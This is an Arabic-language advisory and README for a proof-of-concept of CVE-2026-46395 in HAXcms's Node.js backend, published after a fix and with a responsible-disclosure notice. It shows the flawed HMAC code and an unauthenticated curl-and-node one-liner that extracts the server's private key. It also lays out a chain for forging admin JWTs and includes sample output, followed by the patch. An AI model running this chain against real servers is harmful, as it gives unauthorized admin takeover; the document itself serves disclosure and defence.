
PoC وتقرير لـ CVE-2026-46395: كشف المفتاح الخاص غير المصادق عليه عبر HMAC معطوب في HAXcms Node.js (CWE-321/CWE-200). للبحث الأمني المصرح به فقط.
إثبات المفهوم لأغراض الاختبار الأمني المصرح به والبحث فقط. الثغرة الموضحة هنا تم إصلاحها في الإصدار الأخير من HAXcms. تم نشر إثبات المفهوم هذا ليتمكن المدافعون والباحثون من التحقق من المشكلة على النسخ غير المُصَلَّحة التي يمتلكونها أو التي لديهم إذن صريح لاختبارها.
| CVE | CVE-2026-46395 |
| المكوّن | خلفية Node.js في HAXcms - haxcms-nodejs/src/lib/HAXCMS.js |
| الثغرة | مفتاح تشفير مُثبَّت في الكود + تسريب المفتاح الخاص (CWE-321, CWE-200) |
| الخطورة | حرجة - CVSS 3.1 9.8 |
| الهجوم | بدون مصادقة، طلب HTTP واحد، لا تفاعل من المستخدم |
| الحالة | تم الإصلاح في المصدر الأصلي. يؤثر على الإصدارات قبل التصحيح. |
| المشروع | elmsln/HAXcms |
| المبلّغ | Shreyas Challa ([email protected]) |
hmacBase64() في خلفية Node.js في HAXcms (src/lib/HAXCMS.js:2158-2163)
تحتوي على خطأين في التشفير يسمحان معًا لأي مهاجم غير مُصادَق باستعادة سر التوقيع الرئيسي للخادم (privateKey + salt) وتزوير رموز JWT بمستوى مدير.
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
"0" يُستخدم كمفتاح توقيع بدلاً من key، وبالتالي لا يوفر HMAC أي سرية.privateKey + salt الخاص بالنظام) يُلحق بالمخرَج ويُشفَّر بصيغة base64 في الرمز المُعاد.وبالتالي كل رمز له الهيكل التالي:
base64url( [32 بايت: HMAC-SHA256 بمفتاح "0"] [N بايت: privateKey+salt بنص واضح] )
)
يمكن للمهاجم فك ترميز base64 لأي رمز، **تجاهل أول 32 بايت**، وقراءة المفتاح الخاص مباشرةً. نقطة النهاية `/system/api/connectionSettings` موجودة في قائمة تخطي JWT (`src/app.js`)، وتُرجع عدة من هذه الرموز **بدون مصادقة**، لذا طلب GET واحد يكشف المفتاح.
> الخلفية PHP (`HAXCMS.php:1619-1631`) تنفذ هذه الدالة بشكل صحيح (باستخدام المفتاح الحقيقي، وتُرجِع فقط المخرَج → رموز بطول 44 حرفًا). النسخة المعطلة من Node.js تُصدِر رموزًا بطول 139+ حرفًا - علامة مرئية على وجود بيانات إضافية مضمنة.
## التأثير
طلب واحد غير مُصادَق يؤدي إلى اختراق كامل:
1. **استخراج المفتاح الخاص** - `GET /system/api/connectionSettings`، فك ترميز base64 لأي رمز، تجاهل أول 32 بايت.
2. **تزوير JWT مدير** - `jwt.sign(payload, privateKey+salt)`.
3. **تزوير رموز الطلب** - إعادة حساب `user_token` و`form_token` إلخ.
4. **وصول كامل كمدير** - إنشاء/تعديل/حذف المواقع، رفع الملفات، تغيير المحتوى.
يعمل هذا حتى بعد أن يحدد المدير كلمة مرور قوية، ولا تُسجل الرموز المُزوَّرة أي أحداث دخول في السجلات.
## تشغيل إثبات المفهوم
`poc_hmac_key_leak.js` ينفذ السلسلة الكاملة من البداية إلى النهاية ضد مثيل قيد التشغيل ويطبع كل خطوة بتفصيل: جلب الرموز ← استخراج المفتاح ← التحقق من المفتاح ← تزوير JWT ← تزوير رموز الطلب ← استدعاء نقطة نهاية مُصادَق عليها ← إنشاء موقع لإثبات صلاحية الكتابة.
### المتطلبات الأساسية
- Node.js 16+
- مثيل Node.js من HAXcms قيد التشغيل ومرخص لك باختباره
إعداد مثيل اختبار محلي:
```bash
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # يعمل على http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # يسحب jsonwebtoken (يُستخدم لتزوير JWT)
node poc_hmac_key_leak.js http://localhost:3000
إذا لم يكن jsonwebtoken مثبتًا، سيظل إثبات المفهوم يستخرج المفتاح ويتحقق منه، وسيتجاوز خطوات تزوير JWT.
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('مفتاح مسرب:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
استبدال الدالة المعطلة بدالة HMAC صحيحة تُرجع المخرَج فقط:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // استخدم المفتاح الحقيقي
.update(data)
.digest('base64') // أرجِع فقط التجزئة
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
بعد التصحيح:
privateKey و salt في كل مثيل منشور - أي رمز تم إصداره سابقًا يحتوي على المفتاح القديم بنص واضح (في استجابات HTTP، والسجلات، وتاريخ المتصفح).قم بالتحديث إلى أحدث إصدار من HAXcms، والذي يحتوي على الإصلاح في المصدر الأساسي.
تم الإبلاغ عن هذه المشكلة إلى مسؤولي HAXcms وتم إصلاحها قبل النشر. تم إصدار إثبات المفهوم فقط بعد توافر التصحيح. استخدمه حصريًا ضد الأنظمة التي تمتلكها أو التي لديك إذن صريح لاختبارها.
هذه المادة مُقدمة لـ البحث الدفاعي والتعليم واختبار الأمان المصرح به. تشغيلها ضد أنظمة دون إذن صريح قد يكون غير قانوني. أنت وحدك المسؤول عن الامتثال لجميع القوانين السارية وعن الحصول على التصريح قبل الاختبار. مُقدمة "كما هي" بدون أي ضمان (انظر LICENSE).